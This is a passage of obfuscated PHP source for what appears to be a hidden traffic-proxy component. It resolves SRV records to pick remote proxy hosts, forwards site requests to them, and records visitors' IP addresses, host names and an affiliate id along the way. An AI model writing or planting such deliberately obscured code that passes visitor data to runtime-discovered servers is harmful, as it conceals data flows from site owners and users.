($this->mjvkyzim as $mtfmnmfk) { $yteyzlhy .= $mtfmnmfk->nzgzotiz($this); } foreach ($this->njzmnwmn as $mtfmnmfk) { $yteyzlhy .= $mtfmnmfk->nzgzotiz($this); } foreach ($this->mjamtinz as $mtfmnmfk) { $yteyzlhy .= $mtfmnmfk->nzgzotiz($this); } return $yteyzlhy; } public function odlknmji($nmflotkn, &$ntnhnjew) { $mjmytqmt = explode('.', $nmflotkn); $memjuzwq = ''; while (!empty($mjmytqmt)) { $ngunmrjz = join('.', $mjmytqmt); if (isset($this->zmzindzk[$ngunmrjz])) { $memjuzwq .= pack('n', 0xc000 | $this->zmzindzk[$ngunmrjz]); $ntnhnjew += 2; break; } $this->zmzindzk[$ngunmrjz] = $ntnhnjew; $ztaotzhm = array_shift($mjmytqmt); $mqndkmym = strlen($ztaotzhm); if ($mqndkmym <= 0) { continue; } if ($mqndkmym > 63) { $mqndkmym = 63; $ztaotzhm = substr($ztaotzhm, 0, $mqndkmym); } $memjuzwq .= pack('Ca*', $mqndkmym, $ztaotzhm); $ntnhnjew += $mqndkmym + 1; } if (empty($mjmytqmt)) { $memjuzwq .= pack('C', 0); $ntnhnjew++; } return $memjuzwq; } public static function nmfjzdyy($nmflotkn) { $ntnhnjew = 0; $mjmytqmt = explode('.', $nmflotkn); $memjuzwq = ''; while (!empty($mjmytqmt)) { $ztaotzhm = array_shift($mjmytqmt); $mqndkmym = strlen($ztaotzhm); $memjuzwq .= pack('Ca*', $mqndkmym, $ztaotzhm); $ntnhnjew += $mqndkmym + 1; } $memjuzwq .= "\0"; $ntnhnjew++; return $memjuzwq; } public static function mgjmmdrl(zgzjytzl $ndrmmtkn, &$ntnhnjew) { $nmflotkn = ''; while (1) { if ($ndrmmtkn->yzjkyznm < ($ntnhnjew + 1)) { return null; } $zjmyyjkz = ord($ndrmmtkn->ytfjytjl[$ntnhnjew]); if ($zjmyyjkz == 0) { ++$ntnhnjew; break; } else if (($zjmyyjkz & 0xc0) == 0xc0) { if ($ndrmmtkn->yzjkyznm < ($ntnhnjew + 2)) { return null; } $zgfmngem = ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) << 8 | ord($ndrmmtkn->ytfjytjl[$ntnhnjew + 1]); $zgfmngem = $zgfmngem & 0x3fff; $mzllytgy = zgzjytzl::mgjmmdrl($ndrmmtkn, $zgfmngem); if (is_null($mzllytgy)) { return null; } $nmflotkn .= $mzllytgy; $ntnhnjew += 2; break; } else { ++$ntnhnjew; if ($ndrmmtkn->yzjkyznm < ($ntnhnjew + $zjmyyjkz)) { return null; } $zjuwogun = ''; $zjuwogun = substr($ndrmmtkn->ytfjytjl, $ntnhnjew, $zjmyyjkz); $nmflotkn .= $zjuwogun . '.'; $ntnhnjew += $zjmyyjkz; } } return trim($nmflotkn, '.'); } public static function njrjnjuz(zgzjytzl $ndrmmtkn, &$ntnhnjew) { $nmflotkn = ''; if ($ndrmmtkn->yzjkyznm < ($ntnhnjew + 1)) { return null; } $zjmyyjkz = ord($ndrmmtkn->ytfjytjl[$ntnhnjew]); ++$ntnhnjew; if (($zjmyyjkz + $ntnhnjew) > $ndrmmtkn->yzjkyznm) { $nmflotkn = substr($ndrmmtkn->ytfjytjl, $ntnhnjew); $ntnhnjew = $ndrmmtkn->yzjkyznm; } else { $nmflotkn = substr($ndrmmtkn->ytfjytjl, $ntnhnjew, $zjmyyjkz); $ntnhnjew += $zjmyyjkz; } return $nmflotkn; } public function zjgztjlm(zgzjytzl $ndrmmtkn) { $this->ntkzmqxn = $ndrmmtkn->ntkzmqxn; $this->miyymuyz = $ndrmmtkn->miyymuyz; $this->mjvkyzim = $ndrmmtkn->mjvkyzim; $this->njzmnwmn = $ndrmmtkn->njzmnwmn; $this->mjamtinz = $ndrmmtkn->mjamtinz; return true; } public function otflzjbj() { $this->ntkzmqxn->oddlytvk = $this->ntkzmqxn->mtywndqn(); $this->ytfjytjl = ''; $this->yzjkyznm = 0; $this->ntnhnjew = 0; $this->mjvkyzim = array(); $this->njzmnwmn = array(); $this->mjamtinz = array(); $this->zmzindzk = array(); return true; } public static function mjbizjhk($yzymjemd) { return nzazowrh::nemtgmjn($yzymjemd); } } class owiwmtyy extends zgzjytzl { public $mmmxnjky; public function __construct($yteyzlhy, $odkznjhl) { $this->njvjmtbk($yteyzlhy, $odkznjhl); } public function njvjmtbk($yteyzlhy, $odkznjhl) { $this->ytfjytjl = $yteyzlhy; $this->yzjkyznm = $odkznjhl; $this->ntkzmqxn = new nznlyzbj($this); if ($this->ntkzmqxn->zdyxztmz == 1) { return false; } for ($mtfmnmfk = 0; $mtfmnmfk < $this->ntkzmqxn->nwyowmod; ++$mtfmnmfk) { $this->miyymuyz[$mtfmnmfk] = new otqwmeyz($this); } for ($mtfmnmfk = 0; $mtfmnmfk < $this->ntkzmqxn->ztdlymmx; ++$mtfmnmfk) { $nemwfmmu = mmyzjdmz::odlhzgqy($this); if (!is_null($nemwfmmu)) { $this->mjvkyzim[] = $nemwfmmu; } } return true; } } class mdcmjaog extends zgzjytzl { public function __construct($nmflotkn, $zdbhmuzj = null, $ogqnjdiz = null) { $this->njvjmtbk($nmflotkn, $zdbhmuzj, $ogqnjdiz); } public function njvjmtbk($nmflotkn, $zdbhmuzj = 'A', $ogqnjdiz = 'IN') { $this->ntkzmqxn = new nznlyzbj; $mjjlytfj = new otqwmeyz(); $nmflotkn = trim(strtolower($nmflotkn), " \t\n\r\0\x0B."); $zdbhmuzj = strtoupper(trim($zdbhmuzj)); $ogqnjdiz = strtoupper(trim($ogqnjdiz)); if (empty($nmflotkn)) { throw new yzaytczd('empty query string provided', zjkotcnz::ztlmmziy); } if ((!isset(zjkotcnz::$ndnhzdez[$zdbhmuzj])) || (!isset(zjkotcnz::$ntuowzky[$ogqnjdiz]))) { throw new yzaytczd('invalid type (' . $zdbhmuzj . ') or class (' . $ogqnjdiz . ') specified.', zjkotcnz::ztlmmziy); } $mjjlytfj->mtllngvm = $nmflotkn; $mjjlytfj->otqyogew = $zdbhmuzj; $mjjlytfj->nzaodmod = $ogqnjdiz; $this->miyymuyz[] = $mjjlytfj; $this->mjvkyzim = array(); $this->njzmnwmn = array(); $this->mjamtinz = array(); return true; } } zjkotcnz::$zmfkndew = mt_rand(0, 65535); zjkotcnz::$ztvizdqy = array_flip(zjkotcnz::$ndnhzdez); zjkotcnz::$nmrlnwnh = array_flip(zjkotcnz::$ntuowzky); zjkotcnz::$mgjhnixn = array_flip(zjkotcnz::$yzuotcnw); class zjkotcnz { const odvlnyyy = 12; const zwunzbmm = 512; const ntcxmwey = 0; const otrknzkn = 1; const ogyywimm = 0; const yjgyznjm = 1; const otiznflz = 3; const zmeotgyf = 4; const oduwndiz = 254; const njewzdgw = 255; const mjjiyjrh = 0; const mtuwowmw = 1; const mjllyzay = 2; const yzdhymjl = 3; const yfiymmmj = 4; const mdzlnqyj = 5; const zdyotczg = 6; const zgfknzuy = 7; const ytjjnjcz = 8; const odlimmyy = 9; const ndymtjiz = 10; const oteyzdun = 16; const mdrlmtcx = 17; const ntkmmewo = 18; const ytzjytem = 19; const yzfimwfh = 20; const yjgmwiym = 21; const ytmntmzo = 22; const mjaodrhy = 200; const ownmytyn = 201; const ywqznzmm = 202; const ztlmmziy = 300; const odemwjln = 301; const ztflmwqx = 302; const mjenznky = 303; const ymeymqyt = 304; public static $zmfkndew; public static $ztvizdqy = array(); public static $ndnhzdez = array( 'SIG0' => 0, 'A' => 1, 'NS' => 2, 'MD' => 3, 'MF' => 4, 'CNAME' => 5, 'SOA' => 6, 'MB' => 7, 'MG' => 8, 'MR' => 9, 'NULL' => 10, 'WKS' => 11, 'PTR' => 12, 'HINFO' => 13, 'MINFO' => 14, 'MX' => 15, 'TXT' => 16, 'RP' => 17, 'AFSDB' => 18, 'X25' => 19, 'ISDN' => 20, 'RT' => 21, 'NSAP' => 22, 'NSAP_PTR' => 23, 'SIG' => 24, 'KEY' => 25, 'PX' => 26, 'GPOS' => 27, 'AAAA' => 28, 'LOC' => 29, 'NXT' => 30, 'EID' => 31, 'NIMLOC' => 32, 'SRV' => 33, 'ATMA' => 34, 'NAPTR' => 35, 'KX' => 36, 'CERT' => 37, 'A6' => 38, 'DNAME' => 39, 'SINK' => 40, 'OPT' => 41, 'APL' => 42, 'DS' => 43, 'SSHFP' => 44, 'IPSECKEY' => 45, 'RRSIG' => 46, 'NSEC' => 47, 'DNSKEY' => 48, 'DHCID' => 49, 'NSEC3' => 50, 'NSEC3PARAM' => 51, 'TLSA' => 52, 'HIP' => 55, 'NINFO' => 56, 'RKEY' => 57, 'TALINK' => 58, 'CDS' => 59, 'SPF' => 99, 'UINFO' => 100, 'UID' => 101, 'GID' => 102, 'UNSPEC' => 103, 'TKEY' => 249, 'TSIG' => 250, 'IXFR' => 251, 'AXFR' => 252, 'MAILB' => 253, 'MAILA' => 254, 'ANY' => 255, 'URI' => 256, 'CAA' => 257, 'TA' => 32768, 'DLV' => 32769 ); public static $mgjhnixn = array(); public static $yzuotcnw = array( 33 => 'yzjimtbj', ); public static $nmrlnwnh = array(); public static $ntuowzky = array( 'IN' => self::yjgyznjm, 'CH' => self::otiznflz, 'HS' => self::zmeotgyf, 'NONE' => self::oduwndiz, 'ANY' => self::njewzdgw ); public static $mrkyjczn = array( self::mjjiyjrh => 'The request completed successfully.', self::mtuwowmw => 'The name server was unable to interpret the query.', self::mjllyzay => 'The name server was unable to process this query due to a problem with the name server.', self::yzdhymjl => 'The domain name referenced in the query does not exist.', self::yfiymmmj => 'The name server does not support the requested kind of query.', self::mdzlnqyj => 'The name server refuses to perform the specified operation for policy reasons.', self::zdyotczg => 'Name Exists when it should not.', self::zgfknzuy => 'RR Set Exists when it should not.', self::ytjjnjcz => 'RR Set that should exist does not.', self::odlimmyy => 'Server Not Authoritative for zone.', self::ndymtjiz => 'Name not contained in zone.', self::oteyzdun => 'TSIG Signature Failure.', self::mdrlmtcx => 'Key not recognized.', self::ntkmmewo => 'Signature out of time window.', self::ytzjytem => 'Bad TKEY Mode.', self::yzfimwfh => 'Duplicate key name.', self::yjgmwiym => 'Algorithm not supported.', self::ytmntmzo => 'Bad truncation.' ); } class yzjjzjrh { protected $mthjotyn; protected $odzkzdfj; protected $mdyyzdhh; protected $ntzkmmnd = array( 'sec' => 5, 'usec' => 0, ); private $nzkmzrhn; private $zjmwmwzi; public function __construct($odzkzdfj, $mdyyzdhh, array $ntzkmmnd) { $this->odzkzdfj = $odzkzdfj; $this->mdyyzdhh = $mdyyzdhh; $this->ntzkmmnd = $ntzkmmnd; } public function __destruct() { $this->zgezodgm(); } public function zdqodnin() { return $this->nzkmzrhn; } public function nwzjnuzo() { $otnkmtbj = array( 'socket' => array() ); $this->zjmwmwzi = @stream_context_create($otnkmtbj); $ywyymmyz = $this->ntzkmmnd['sec'] < 1 ? 1 : $this->ntzkmmnd['sec']; if (nzazowrh::mduztyyn($this->odzkzdfj) == true) { $this->mthjotyn = @stream_socket_client( 'udp://' . $this->odzkzdfj . ':' . $this->mdyyzdhh, $mjcogexo, $odcmgixz, $ywyymmyz, STREAM_CLIENT_CONNECT, $this->zjmwmwzi ); } else if (nzazowrh::mwymjgot($this->odzkzdfj) == true) { $this->mthjotyn = @stream_socket_client( 'udp://[' . $this->odzkzdfj . ']:' . $this->mdyyzdhh, $mjcogexo, $odcmgixz, $ywyymmyz, STREAM_CLIENT_CONNECT, $this->zjmwmwzi ); } else { $this->nzkmzrhn = 'invalid address type: ' . $this->odzkzdfj; return false; } if ($this->mthjotyn === false) { $this->nzkmzrhn = $odcmgixz; return false; } @stream_set_blocking($this->mthjotyn, 0); @stream_set_timeout($this->mthjotyn, $this->ntzkmmnd['sec'], $this->ntzkmmnd['usec']); return true; } public function zgezodgm() { if (is_resource($this->mthjotyn) === true) { @fclose($this->mthjotyn); } return true; } public function ztfkmgmy($yteyzlhy) { $mqndkmym = strlen($yteyzlhy); if ($mqndkmym == 0) { $this->nzkmzrhn = 'empty data on write()'; return false; } $ytdhzmrk = null; $ztfkmgmy = array( $this->mthjotyn ); $njcyzmnj = null; switch (@stream_select($ytdhzmrk, $ztfkmgmy, $njcyzmnj, $this->ntzkmmnd['sec'], $this->ntzkmmnd['usec'])) { case false: $this->nzkmzrhn = 'failed on stream_select()'; return false; break; case 0: return false; break; default: ; } $odkznjhl = @fwrite($this->mthjotyn, $yteyzlhy); if (($odkznjhl === false) || ($odkznjhl != $mqndkmym)) { $this->nzkmzrhn = 'failed to fwrite() packet'; return false; } return true; } public function ytdhzmrk(&$odkznjhl) { $ytdhzmrk = array( $this->mthjotyn ); $ztfkmgmy = null; $njcyzmnj = null; @stream_set_blocking($this->mthjotyn, 0); switch (stream_select($ytdhzmrk, $ztfkmgmy, $njcyzmnj, $this->ntzkmmnd['sec'], $this->ntzkmmnd['usec'])) { case false: $this->nzkmzrhn = 'error on stream_select()'; return false; break; case 0: return false; break; default: ; } $mqndkmym = zjkotcnz::zwunzbmm; @stream_set_blocking($this->mthjotyn, 1); $yteyzlhy = fread($this->mthjotyn, $mqndkmym); if ($yteyzlhy === false) { $this->nzkmzrhn = 'failed on fread() for data'; return false; } $odkznjhl = strlen($yteyzlhy); return $yteyzlhy; } } class nzazowrh { const zjhmytiy = '/etc/resolv.conf'; const nmvintgn = 53; private $ntzkmmnd = array( 'sec' => 5, 'usec' => 0 ); public $zgyxodez = true; protected $nzvhntbj = array(); protected $odzhntli = array(); private $yzyyzmwm = ''; public function __construct($odzhntli, $ntzkmmnd) { $this->ntzkmmnd = $ntzkmmnd; $this->zwqmtziy($odzhntli); } public function zwqmtziy($odzhntli) { if (is_array($odzhntli) && !empty($odzhntli)) { $this->odzhntli = $odzhntli; } elseif (is_string($odzhntli) && @file_exists($odzhntli) && @is_readable($odzhntli)) { $this->zjuowfin($odzhntli); } return true; } private function zjuowfin($mdhkzwfl) { $yteyzlhy = file_get_contents($mdhkzwfl); if ($yteyzlhy === false) { throw new yzaytczd('failed to read contents of file: ' . $mdhkzwfl, zjkotcnz::mjaodrhy); } $oduynwfh = explode("\n", $yteyzlhy); foreach ($oduynwfh as $mjyzjmyf) { $mjyzjmyf = trim($mjyzjmyf); if ((strlen($mjyzjmyf) == 0) || ($mjyzjmyf[0] == '#') || ($mjyzjmyf[0] == ';')) { continue; } list($ytyyzjiy, $zjmyyjyy) = preg_split('/\s+/', $mjyzjmyf, 2); $ytyyzjiy = trim(strtolower($ytyyzjiy)); $zjmyyjyy = trim(strtolower($zjmyyjyy)); switch ($ytyyzjiy) { case 'nameserver': if ((self::mduztyyn($zjmyyjyy) == true) || (self::mwymjgot($zjmyyjyy) == true)) { $this->odzhntli[] = $zjmyyjyy; } else { throw new yzaytczd('invalid nameserver entry: ' . $zjmyyjyy, zjkotcnz::ownmytyn); } break; default: ; } } } public static function mmqwztem($zmvjztfj) { if (($zmvjztfj < 0) && (PHP_INT_MAX == 2147483647)) { return sprintf('%u', $zmvjztfj); } else { return $zmvjztfj; } } public static function mduztyyn($yzymjemd) { if (extension_loaded('filter') == true) { if (filter_var($yzymjemd, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) == false) { return false; } } else { if (inet_pton($yzymjemd) === false) { return false; } if (preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $yzymjemd) == 0) { return false; } } return true; } public static function mwymjgot($yzymjemd) { if (extension_loaded('filter') == true) { if (filter_var($yzymjemd, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) == false) { return false; } } else { if (inet_pton($yzymjemd) === false) { return false; } if (preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $yzymjemd) == 1) { return false; } } return true; } public static function nemtgmjn($yzymjemd) { if (strpos($yzymjemd, '::') !== false) { $mzjodhio = explode('::', $yzymjemd); $mzjodhio[0] = explode(':', $mzjodhio[0]); $mzjodhio[1] = explode(':', $mzjodhio[1]); $nwewmtnj = array(); $mtfmnmfk = (8 - (count($mzjodhio[0]) + count($mzjodhio[1]))); for ($mdqyzgmn = 0; $mdqyzgmn < $mtfmnmfk; $mdqyzgmn++) { array_push($nwewmtnj, '0000'); } $nwewmtnj = array_merge($mzjodhio[0], $nwewmtnj); $mzjodhio = array_merge($nwewmtnj, $mzjodhio[1]); } else { $mzjodhio = explode(':', $yzymjemd); } foreach ($mzjodhio as &$nteyjkod) { while (strlen($nteyjkod) < 4) { $nteyjkod = '0' . $nteyjkod; } } unset($nteyjkod); $mzdhntmw = implode(':', $mzjodhio); if (strlen($mzdhntmw) == 39) { return $mzdhntmw; } else { return false; } } protected function ntzkowuy(zgzjytzl $mdgztiyj) { $yteyzlhy = $mdgztiyj->nzgzotiz(); if (strlen($yteyzlhy) < zjkotcnz::odvlnyyy) { throw new yzaytczd('invalid or empty packet for sending!', zjkotcnz::ztlmmziy); } reset($this->odzhntli); $mgvjnmqx = null; $nzmymgqy = ''; $mdfhytem = null; while (1) { $nzmymgqy = each($this->odzhntli); if ($nzmymgqy === false) { throw new yzaytczd('every name server provided has failed: ' . $this->yzyyzmwm, zjkotcnz::ywqznzmm); } $nzmymgqy = $nzmymgqy[1]; if ((!isset($this->nzvhntbj[$nzmymgqy])) || (!($this->nzvhntbj[$nzmymgqy] instanceof yzjjzjrh))) { $this->nzvhntbj[$nzmymgqy] = new yzjjzjrh($nzmymgqy, self::nmvintgn, $this->ntzkmmnd); } if ($this->nzvhntbj[$nzmymgqy]->nwzjnuzo() === false) { $this->yzyyzmwm = $this->nzvhntbj[$nzmymgqy]->zdqodnin(); continue; } if ($this->nzvhntbj[$nzmymgqy]->ztfkmgmy($yteyzlhy) === false) { $this->yzyyzmwm = $this->nzvhntbj[$nzmymgqy]->zdqodnin(); continue; } $odkznjhl = 0; $mzdhntmw = $this->nzvhntbj[$nzmymgqy]->ytdhzmrk($odkznjhl); if (($mzdhntmw === false) || ($odkznjhl < zjkotcnz::odvlnyyy)) { $this->yzyyzmwm = $this->nzvhntbj[$nzmymgqy]->zdqodnin(); continue; } $mgvjnmqx = new owiwmtyy($mzdhntmw, $odkznjhl); if (is_null($mgvjnmqx)) { throw new yzaytczd('empty response object', zjkotcnz::ywqznzmm); } if ($mgvjnmqx->ntkzmqxn->zdyxztmz == 1) { $this->yzyyzmwm = "truncated response"; continue; } break; } $mgvjnmqx->mmmxnjky = $nzmymgqy; if ($mdgztiyj->ntkzmqxn->oddlytvk != $mgvjnmqx->ntkzmqxn->oddlytvk) { throw new yzaytczd('invalid header: the request and response id do not match.', zjkotcnz::ztflmwqx); } if ($mgvjnmqx->ntkzmqxn->nduyzmex != zjkotcnz::otrknzkn) { throw new yzaytczd('invalid header: the response provided is not a response packet.', zjkotcnz::ztflmwqx); } if ($mgvjnmqx->ntkzmqxn->mezjcymm != zjkotcnz::mjjiyjrh) { throw new yzaytczd('DNS request failed: ' . zjkotcnz::$mrkyjczn[$mgvjnmqx->ntkzmqxn->mezjcymm], $mgvjnmqx->ntkzmqxn->mezjcymm); } return $mgvjnmqx; } public function nnkoteog($nmflotkn, $zdbhmuzj = 'SRV', $ogqnjdiz = 'IN') { if (empty($this->odzhntli)) { throw new yzaytczd('Empty name servers list.'); } $ndrmmtkn = new mdcmjaog($nmflotkn, $zdbhmuzj, $ogqnjdiz); if ($this->zgyxodez == false) { $ndrmmtkn->ntkzmqxn->owymtkzd = 0; } else { $ndrmmtkn->ntkzmqxn->owymtkzd = 1; } $mgvjnmqx = $this->ntzkowuy($ndrmmtkn); return $mgvjnmqx; } } class mjvlotcz { public function nwyotdky($ywemtnkz, nwuowyyy $mdgztiyj) { $this->mtcywiod($mdgztiyj); if ($ywemtnkz === '/tgens/click') { $mdgztiyj->nzmnziyn('userIP', $mdgztiyj->mdendkzn()); } if ($ywemtnkz === '/tgens/getSupportedProtocols') { $ztfkyziy = new mwewodym(); if ($ztfkyziy->nteyytiy()) { $ztfkyziy->nmvindmo(); $mmrlmwez = $ztfkyziy->ymqnjqyz(); $ztfkyziy->nmnjmwzi($mmrlmwez); } die(json_encode(array('data' => array("supported_protocols" => $ztfkyziy->mzexytkn())))); } if ($ywemtnkz === '/affiliate-signup/post') { $mdgztiyj->mjfkmgrk('user_ip', $mdgztiyj->mdendkzn()); } } protected function mtcywiod(nwuowyyy $mdgztiyj) { if ($mdgztiyj->zgizmmuz()) { $mdgztiyj->nzmnziyn('ip', $mdgztiyj->mdendkzn()); $mdgztiyj->nzmnziyn('host', $_SERVER['HTTP_HOST']); $mdgztiyj->nzmnziyn('aid', ndfjzdym::ztrmmjmo('aid')); } else if ($mdgztiyj->zdgzogji()) { $mdgztiyj->mjfkmgrk('ip', $mdgztiyj->mdendkzn()); $mdgztiyj->mjfkmgrk('host', $_SERVER['HTTP_HOST']); $mdgztiyj->mjfkmgrk('aid', ndfjzdym::ztrmmjmo('aid')); } } } class mwewodym { const otczyjkz = "test-available-http-protocols.html"; private $ywezowjj = array(); private $mdvjyzzj = null; private $zmmzzdfk = null; public function __construct() { $this->ntkzztim(); } public function ntkzztim() { if (isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') { $this->mdvjyzzj = "http://"; array_push($this->ywezowjj, "https"); } else { $this->mdvjyzzj = "https://"; array_push($this->ywezowjj, "http"); } } public function nteyytiy() { return (function_exists('curl_version')) ? true : false; } public function mzexytkn() { return $this->ywezowjj; } public function nmvindmo() { if (!isset($_SERVER["HTTP_REFERER"])) { $this->zmmzzdfk = $this->mdvjyzzj . $_SERVER["HTTP_HOST"] . "/" . self::otczyjkz; return; } $ywyxoduw = parse_url($_SERVER["HTTP_REFERER"]); if (isset($ywyxoduw["path"])) { if (strpos($ywyxoduw["path"], ".html")) { $mduyotax = explode("/", $ywyxoduw["path"]); $yzkyzqyj = str_replace(end($mduyotax), self::otczyjkz, $ywyxoduw["path"]); $this->zmmzzdfk = $this->mdvjyzzj . $_SERVER["HTTP_HOST"] . $yzkyzqyj; } else if ($ywyxoduw["path"] === "/") { $this->zmmzzdfk = $this->mdvjyzzj . $_SERVER["HTTP_HOST"] . $ywyxoduw["path"] . self::otczyjkz; } else { $nzmwyjiw = (substr($ywyxoduw["path"], -1) === "/") ? "" : "/"; $this->zmmzzdfk = $this->mdvjyzzj . $_SERVER["HTTP_HOST"] . $ywyxoduw["path"] . $nzmwyjiw . self::otczyjkz; } } else { $this->zmmzzdfk = $this->mdvjyzzj . $_SERVER["HTTP_HOST"] . "/" . self::otczyjkz; } } public function ymqnjqyz() { $ndgyymqn = curl_init(); $ntezzjhk = array( CURLOPT_URL => $this->zmmzzdfk, CURLOPT_HEADER => true, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYHOST => 2 ); curl_setopt_array($ndgyymqn, $ntezzjhk); $mmrlmwez = curl_exec($ndgyymqn); curl_close($ndgyymqn); return $mmrlmwez; } public function nmnjmwzi($mmrlmwez) { $mmrlmwez = explode("\r\n\r\nHTTP/", $mmrlmwez, 2); $mmrlmwez = (count($mmrlmwez) > 1 ? 'HTTP/' : '') . array_pop($mmrlmwez); list($mwuxmjiz, $mmrlmwez) = explode("\r\n\r\n", $mmrlmwez, 2); $mwuxmjiz = explode("\r\n", $mwuxmjiz); $yyngzlyz = array(); foreach ($mwuxmjiz as $mtnmymqo => $nezogqyj) { $nezogqyj = explode(': ', $nezogqyj, 2); $yyngzlyz[$nezogqyj[0]] = $nezogqyj[1]; } if (strpos(key($yyngzlyz), "200") && $mmrlmwez) { (in_array("http", $this->ywezowjj)) ? array_push($this->ywezowjj, "https") : array_push($this->ywezowjj, "http"); } } } class nvimdqmi { const ywjhzten = false; const yzqymjlm = true; private $ndgzjdhy = null; private $zgrlytim = array(); private $mtuyjfko = array(); private $ywzlyzcm; public function __construct(mmzztnhn $ywzlyzcm) { $this->ywzlyzcm = $ywzlyzcm; $this->mthlmgni(); $ntzkmmnd = $this->mwmndcym(ndfjzdym::ztrmmjmo('timeout_dns')); if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN' && @ini_get('safe_mode') != 'On' && @ini_get('safe_mode') !== 1 && @file_exists(nzazowrh::zjhmytiy) && @is_readable(nzazowrh::zjhmytiy) ) { $odzhntli = nzazowrh::zjhmytiy; } else { $odzhntli = array('8.8.8.8', '8.8.4.4'); } $this->ndgzjdhy = new nzazowrh($odzhntli, $ntzkmmnd); } private function mwmndcym($odjmmday) { $otiwytiz = floor($odjmmday / 1000); $zgmzmzuz = (int) ($odjmmday - ($otiwytiz * 1000)) * 1000; return array( 'sec' => $otiwytiz, 'usec' => $zgmzmzuz, ); } private function mthlmgni() { $ywjiytmm = ndfjzdym::ztrmmjmo('mmjhnwmy'); if (empty($ywjiytmm)) { throw new zmqywmyt("Empty hosts string."); } $this->zgrlytim = $ywjiytmm; } public function ndezymmm($odzkzdfj) { $mzdhntmw = array(); $mgvjnmqx = $this->ndgzjdhy->nnkoteog($odzkzdfj, 'SRV'); foreach ($mgvjnmqx->mjvkyzim as $nwiywvim) { $mzdhntmw[] = array( 'host' => $nwiywvim->nmflotkn, 'type' => $nwiywvim->zdbhmuzj, 'pri' => $nwiywvim->mzmntgnv, 'weight' => $nwiywvim->ywzlmdqn, 'port' => $nwiywvim->mdyyzdhh, 'target' => $nwiywvim->mguytnhz, 'class' => $nwiywvim->ogqnjdiz, 'ttl' => $nwiywvim->mmuzmzin, ); } return $mzdhntmw; } private static function nqmdyyvh(array $nzcwowqn = array()) { $njdkndbh = array(); foreach ($nzcwowqn as $odqzyjhy) { $mzezdmnj[$odqzyjhy['pri']][] = $odqzyjhy; } ksort($mzezdmnj); $mjmmdcod = create_function( '$odzmnumz, $ztlknzfm', 'if ($odzmnumz["weight"] == $ztlknzfm["weight"]) return 0;' . 'else return ($odzmnumz["weight"] < $ztlknzfm["weight"]) ? -1 : 1;' ); foreach ($mzezdmnj as $mzmntgnv) { usort($mzmntgnv, $mjmmdcod); while (count($mzmntgnv)) { $ztlkzmyz = 0; foreach ($mzmntgnv as $mtnmymqo => $nezogqyj) { $ztlkzmyz += $nezogqyj['weight']; $mzmntgnv[$mtnmymqo]['weight_sum'] = $ztlkzmyz; } if ($ztlkzmyz == 0) { shuffle($mzmntgnv); foreach ($mzmntgnv as $mtnmymqo => $nezogqyj) { $njdkndbh[] = array( "host" => $nezogqyj['target'], "port" => $nezogqyj['port'] ); unset($mzmntgnv[$mtnmymqo]); break; } } else { $ntimdanj = rand(1, $ztlkzmyz); foreach ($mzmntgnv as $mtnmymqo => $nezogqyj) { if ($nezogqyj['weight_sum'] >= $ntimdanj) { $njdkndbh[] = array( "host" => $nezogqyj['target'], "port" => $nezogqyj['port'] ); unset($mzmntgnv[$mtnmymqo]); break; } } } } } return $njdkndbh; } public function nzmznjhh($mwizwyyt, $zgizzwvj, $mwqywjmn = self::ywjhzten) { $ymynmyyn = null; $this->ywzlyzcm->njhymmym("Resolving SRV:"); foreach ($this->zgrlytim as $odzkzdfj) { if ($mwqywjmn === self::ywjhzten) { $yzuyzimt = new owvkotll(); $this->ywzlyzcm->njhymmym("\tTrying to resolve (through socket) $odzkzdfj"); try { $mtknzuwy = $this->ndezymmm($odzkzdfj); $this->ywzlyzcm->njhymmym("\t\tOperation time: $yzuyzimt"); $this->ywzlyzcm->njhymmym("\t\tOK, retrieved " . count($mtknzuwy) . ' IPs' . $this->ywzlyzcm->yjhimtcm($mtknzuwy)); } catch (Exception $nthlnmiz) { $this->ywzlyzcm->njhymmym("\t\tOperation time: $yzuyzimt"); $this->ywzlyzcm->njhymmym("\t\tException: " . $nthlnmiz->getMessage()); $this->zdfjnjux( $nthlnmiz, array( 'dns host' => base64_encode($odzkzdfj), 'function' => __METHOD__, ) ); continue; } } elseif ($mwqywjmn === self::yzqymjlm) { $zjynjcnj = new owvkotll(); $this->ywzlyzcm->njhymmym("\tTrying to resolve (through dns_get_record function) $odzkzdfj"); $mtknzuwy = dns_get_record($odzkzdfj, DNS_SRV); $this->ywzlyzcm->njhymmym("\t\tOperation time: $zjynjcnj"); $this->ywzlyzcm->njhymmym("\t\tOK, retrieved " . count($mtknzuwy) . ' IPs' . $this->ywzlyzcm->yjhimtcm($mtknzuwy)); } if (empty($mtknzuwy)) { continue; } $this->ywzlyzcm->njhymmym("HTTP Proxy response:"); $mtknzuwy = self::nqmdyyvh($mtknzuwy); foreach ($mtknzuwy as $mjcytcwm) { $ytmzmqym = new owvkotll(); try { $mjcytcwm['host'] = trim(strtolower($mjcytcwm['host'])); if (!empty($mjcytcwm['host'])) { $oweztuzw = $mjcytcwm['port'] == 443 ? 'https' : 'http'; $odemzyzn = $oweztuzw . '://' . $mjcytcwm['host'] . ':' . $mjcytcwm['port']; $this->ywzlyzcm->yjaymtem($oweztuzw . '://' . $mjcytcwm['host']); $this->ywzlyzcm->njhymmym("\tSending request to: $odemzyzn"); $ymynmyyn = $this->yzlhmdan($odemzyzn, $mwizwyyt, $zgizzwvj); $_SESSION['target']['host'] = $odemzyzn; $_SESSION['target']['ttl'] = time() + ndfjzdym::ztrmmjmo('shared_session_ttl'); $this->ywzlyzcm->njhymmym("\t\tOperation time: $ytmzmqym"); $this->ywzlyzcm->njhymmym("\t\tHTTP code: " . $ymynmyyn->yiowyyjr()); $this->ywzlyzcm->njhymmym("\t\tHeaders: \n\t\t\t" . str_replace("\n", "\n\t\t\t", $ymynmyyn->ytynflyt())); $this->ywzlyzcm->njhymmym("\t\tBody: " . $ymynmyyn->nzqwmrlo()); break 2; } } catch (Exception $nthlnmiz) { 